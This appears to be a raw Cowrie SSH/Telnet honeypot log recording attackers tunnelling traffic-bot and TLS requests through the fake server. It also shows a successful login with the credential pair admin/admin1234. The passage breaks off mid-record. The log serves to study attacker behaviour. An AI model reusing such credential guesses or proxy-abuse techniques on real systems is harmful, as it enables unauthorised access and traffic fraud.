{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KyNafXVPOUo2al4%2BTTNyag%3D%3DTxnB2vNufh9Q%2BiGy%2FiPlkHBvZRVY3xXymOA8vXkhxx4iBou%2Bo%2FS994gafaHzjPWCPUAcyVxDwtYNI3Ay9vN1aBiZABSWha7fUEB4VFN6cB49ZmhrcCymz42yk%2B2jiCVnlvyRYgw326AYyG6sgCPD%2BL3YQYiF%2FmkTyU2VOSO8PyRS7Y3Snwquk2AIcz6qsymPSBpNouUyWmAlgYsDao0tdeHpqTbIfaIK9dq0tA1aNHhdWuiQuWA8f35EEEXs3WH020FGHXt9OW2f0rKTEI%2FOqCv%2BjOU2JFq8gtuWge%2FoH7QKCvY0GAFgQ%2BwdXdWLrGYCifGH1gASb3W3qFK5aBKbb3zgJwjTUJC7OFYFyCO%2FYeEPgWOTBAO%2FwqnCGJEVbo3sLtyldNB6O6VnLH%2FAoB%2BYDksVeGVN6%2FYCRuM4JrHClsw4JD5NWzuIbe6IBjNnsciNuW%2FbGNlPNGl4PhPsOSnY2n4BxUBZrwOy5lJDrgeuTCg6f05cQrhMWAe1kSmykWx0ukoAYmZZu3Cirt%2Bu0qEQXVib5YEkuUwKUAzaWAWsPes43nak9jrvHn9y5hGF8iKVFiMlHc6QCUR89WKeFOuYLF3pwh%2B%2FiELUCRA%2BvpNF4drnASft5GdBJxDskWcv8RwoTxlWuq6HiNXrct3PGrtVMKn3McgbZonEQd4%2F%2Bt38pOQKtf2YBoDzvQrj7ctdjm3otabpVx2Y2Pqd%2FzMv9X0bDhguWcHCNCI%2FkZdQMOZjvkQKPnwoZN%2B%2B8kYx40AHTaunZEHNXtfanDavxTuf7hJrQtbB79SQvysUM3pIj6adPxzC3kL6Xv1J%2B8rf%2BF9iN2X96PekKVLgeYufRbezlZ38rppIkvnBZC0joWW%2BnQ2dpqBKU9%2BI5zNR46DBOvJDewJXuNXQVnci26LLxyx9zz9kjgwa8Qs9ad0ZphdOn6OkXVyZT5uSvkHuVea4UPSgF7CRJvA3YI75QiXd9wpTjfikAduZ21ZEFXnj%2BRKG6za4MGeAVHUZtbDNPCA4v0oN6CFEK9tOB5qIl3SLbuTFTqcF6X88uzFMDFnBrVMX03fM%2Fz5MzBjmic5DXJi3LT%2F98kuk'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KyNafXVPOUo2al4%2BTTNyag%3D%3DTxnB2vNufh9Q%2BiGy%2FiPlkHBvZRVY3xXymOA8vXkhxx4iBou%2Bo%2FS994gafaHzjPWCPUAcyVxDwtYNI3Ay9vN1aBiZABSWha7fUEB4VFN6cB49ZmhrcCymz42yk%2B2jiCVnlvyRYgw326AYyG6sgCPD%2BL3YQYiF%2FmkTyU2VOSO8PyRS7Y3Snwquk2AIcz6qsymPSBpNouUyWmAlgYsDao0tdeHpqTbIfaIK9dq0tA1aNHhdWuiQuWA8f35EEEXs3WH020FGHXt9OW2f0rKTEI%2FOqCv%2BjOU2JFq8gtuWge%2FoH7QKCvY0GAFgQ%2BwdXdWLrGYCifGH1gASb3W3qFK5aBKbb3zgJwjTUJC7OFYFyCO%2FYeEPgWOTBAO%2FwqnCGJEVbo3sLtyldNB6O6VnLH%2FAoB%2BYDksVeGVN6%2FYCRuM4JrHClsw4JD5NWzuIbe6IBjNnsciNuW%2FbGNlPNGl4PhPsOSnY2n4BxUBZrwOy5lJDrgeuTCg6f05cQrhMWAe1kSmykWx0ukoAYmZZu3Cirt%2Bu0qEQXVib5YEkuUwKUAzaWAWsPes43nak9jrvHn9y5hGF8iKVFiMlHc6QCUR89WKeFOuYLF3pwh%2B%2FiELUCRA%2BvpNF4drnASft5GdBJxDskWcv8RwoTxlWuq6HiNXrct3PGrtVMKn3McgbZonEQd4%2F%2Bt38pOQKtf2YBoDzvQrj7ctdjm3otabpVx2Y2Pqd%2FzMv9X0bDhguWcHCNCI%2FkZdQMOZjvkQKPnwoZN%2B%2B8kYx40AHTaunZEHNXtfanDavxTuf7hJrQtbB79SQvysUM3pIj6adPxzC3kL6Xv1J%2B8rf%2BF9iN2X96PekKVLgeYufRbezlZ38rppIkvnBZC0joWW%2BnQ2dpqBKU9%2BI5zNR46DBOvJDewJXuNXQVnci26LLxyx9zz9kjgwa8Qs9ad0ZphdOn6OkXVyZT5uSvkHuVea4UPSgF7CRJvA3YI75QiXd9wpTjfikAduZ21ZEFXnj%2BRKG6za4MGeAVHUZtbDNPCA4v0oN6CFEK9tOB5qIl3SLbuTFTqcF6X88uzFMDFnBrVMX03fM%2Fz5MzBjmic5DXJi3LT%2F98kuk'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:15.916527Z","src_ip":"123.27.168.40","session":"69813031b276","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:16.198039Z","session":"69813031b276","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:16.447608Z","src_ip":"123.27.168.40","session":"69813031b276","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf5\\xf0\\x9b_\\xde\\x1b\\x15\\xd6J.\\xb7\\xb3D\\x1e\\xf5\\xbf!za,\\xee\\x9c\\x7f*|\\xd6\\xc0@\\x83}\\xf5\\x9a \\x9b\\x92\\x9b\\xb1\\x14\\xcdF\\xd3SR\\xda\\xa9\\xe2O\\xe2\\x15\\x9c\\xed\\xebO\\xcd`\\xb5J\\x03\\xca\\x05~/I\\ra\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf6\\xdf02\"\\x8dG\\x81?~%c\\n\\xa7\\xf0\\xe2\\x8c\\xf7\\xc5\\xe2\\xf2\\x83V[Y\\x81\\x81Q\\x17?# \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf5\\xf0\\x9b_\\xde\\x1b\\x15\\xd6J.\\xb7\\xb3D\\x1e\\xf5\\xbf!za,\\xee\\x9c\\x7f*|\\xd6\\xc0@\\x83}\\xf5\\x9a \\x9b\\x92\\x9b\\xb1\\x14\\xcdF\\xd3SR\\xda\\xa9\\xe2O\\xe2\\x15\\x9c\\xed\\xebO\\xcd`\\xb5J\\x03\\xca\\x05~/I\\ra\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf6\\xdf02\"\\x8dG\\x81?~%c\\n\\xa7\\xf0\\xe2\\x8c\\xf7\\xc5\\xe2\\xf2\\x83V[Y\\x81\\x81Q\\x17?# \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:16.451129Z","src_ip":"123.27.168.40","session":"69813031b276","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:16.704108Z","session":"69813031b276","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:16.953262Z","src_ip":"123.27.168.40","session":"69813031b276","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03ej\\x8d Cr\\x99Jg\\xf0E\\xe3\\xea\\xe3\\x8e\\xd3\\xa6@\\xc3ko\\xd8y\\xa2\\x18\\xc0\\xd70N\\xa9\\x041 ?2\\xad\\x0e\\xe4\\xf2\\x8c\\x1e@bN8\\xfa\\x90\\xcb-7\\xc9y\\xf3\\xd2\\xb6\\x95\\x0b7\\x1e\\x8d\\xecB)U\\xd2\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 ,]\\xec\\xe1\\xcd9[\\xce\\xd8\\xc6\\xee\\xee\\x90\\x97\\x7f\\xc6\\xfb\\xff\\x94Z\\xe5\\xca\\xdc\\xb5Z\\xc0\\x85H\\xd7\\xa0u\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03ej\\x8d Cr\\x99Jg\\xf0E\\xe3\\xea\\xe3\\x8e\\xd3\\xa6@\\xc3ko\\xd8y\\xa2\\x18\\xc0\\xd70N\\xa9\\x041 ?2\\xad\\x0e\\xe4\\xf2\\x8c\\x1e@bN8\\xfa\\x90\\xcb-7\\xc9y\\xf3\\xd2\\xb6\\x95\\x0b7\\x1e\\x8d\\xecB)U\\xd2\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 ,]\\xec\\xe1\\xcd9[\\xce\\xd8\\xc6\\xee\\xee\\x90\\x97\\x7f\\xc6\\xfb\\xff\\x94Z\\xe5\\xca\\xdc\\xb5Z\\xc0\\x85H\\xd7\\xa0u\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:16.957860Z","src_ip":"123.27.168.40","session":"69813031b276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:17.358083Z","src_ip":"123.27.168.40","session":"69813031b276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.57835555076599,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:20.889735Z","src_ip":"50.65.170.8","session":"821beddacbc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.6924786567688,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:23.317737Z","src_ip":"172.81.62.90","session":"d0c49ff355de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":61647,"dst_ip":"10.17.0.5","dst_port":22,"session":"a424340f33bd","protocol":"ssh","message":"New connection: 63.141.242.2:61647 (10.17.0.5:22) [session: a424340f33bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:25.175879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:25.182902Z","src_ip":"63.141.242.2","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:25.251439Z","src_ip":"63.141.242.2","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:27.004054Z","src_ip":"63.141.242.2","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:34.259855Z","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:34.294794Z","src_ip":"63.141.242.2","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x89-=-\\xe9\\x16\\xdc\\x0e\\xeb\\xb1$~\\xa1\\xfce(\\xe0\\xb2\\xf8\\xfc\\xf7\\xc51\\x9b\\xae1\\xd8\\x0cZP\\xc4\\x80 \\xcf\\x9e\\xed\\x04\\x13y\\xd9jj\\xa2\\xfa\\xe3\\x91F\\xceY\\xdaH\\xb7\\x8e\\x86\\n\\xb4z\\xc5\\xb7\\xf9\\xa2\\x87\\x91\\x9dc\\x00 